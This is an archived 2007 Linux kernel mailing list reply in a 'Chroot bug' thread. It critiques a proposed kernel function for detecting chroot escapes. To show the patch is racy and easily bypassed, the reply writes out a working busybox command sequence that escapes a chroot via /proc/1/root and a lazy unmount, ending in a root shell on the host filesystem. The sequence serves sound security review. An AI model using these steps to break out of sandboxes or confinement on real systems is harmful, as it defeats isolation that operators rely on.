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Message-Id: <73A0FA2C-7202-4E5C-9521-C2BC7026DE3B@mac.com>
Date: Wed, 26 Sep 2007 10:02:36 -0400
From: Kyle Moffett <mrmacman_g4@....com>
To: Miloslav Semler <majkls@...pere.com>
Cc: David Newall <david@...idnewall.com>,
Adrian Bunk <bunk@...nel.org>,
Alan Cox <alan@...rguk.ukuu.org.uk>,
"Serge E. Hallyn" <serge@...lyn.com>,
Bill Davidsen <davidsen@....com>,
Philipp Marek <philipp@...ek.priv.at>, 7eggert@....de,
bunk@...tum.de, linux-kernel@...r.kernel.org
Subject: Re: Chroot bug
On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:
> + long directory_is_out(struct vfsmount *wdmnt, struct dentry
> *wdentry,
> + struct vfsmount *rootmnt, struct dentry *root)
> + {
> + struct nameidata oldentry, newentry;
> + long ret = 1;
> +
> + read_lock(¤t->fs->lock);
> + oldentry.dentry = dget(wdentry);
> + oldentry.mnt = mntget(wdmnt);
> + read_unlock(¤t->fs->lock);
> + newentry.dentry = oldentry.dentry;
> + newentry.mnt = oldentry.mnt;
> +
> + follow_dotdot(&newentry);
> + /* check it */
> + if(newentry.dentry == root &&
> + newentry.mnt == rootmnt){
> + ret = 0;
> + goto out;
> + }
> +
> + while(oldentry.mnt != newentry.mnt ||
> + oldentry.dentry != newentry.dentry){
> +
> + memcpy(&oldentry, &newentry, sizeof(struct nameidata));
> + follow_dotdot(&newentry);
> +
> + /* check it */
> + if(newentry.dentry == root &&
> + newentry.mnt == rootmnt){
> + ret = 0;
> + goto out;
> + }
> + }
> + out:
> + dput(newentry.dentry);
> + mntput(newentry.mnt);
> + return ret;
> + }
This is basically both painfully racy and easily broken with umount
and/or access to proc. See this busybox-compatible example:
## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox
## Enter chroot
chroot /root1 /busybox
## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc
## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/
## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1
## Now we can easily chroot to the original root, since it isn't in
our ".." path
exec /busybox chroot /proc/1/root /bin/sh
See how easy that is? Unless you stick the above parent-directory
check (which is still racy against directories being moved around)
for *EVERY* directory component of *EVERY* open/chdir-ish syscall,
you are still going to be easily worked around through many different
methods.
Cheers,
Kyle Moffett
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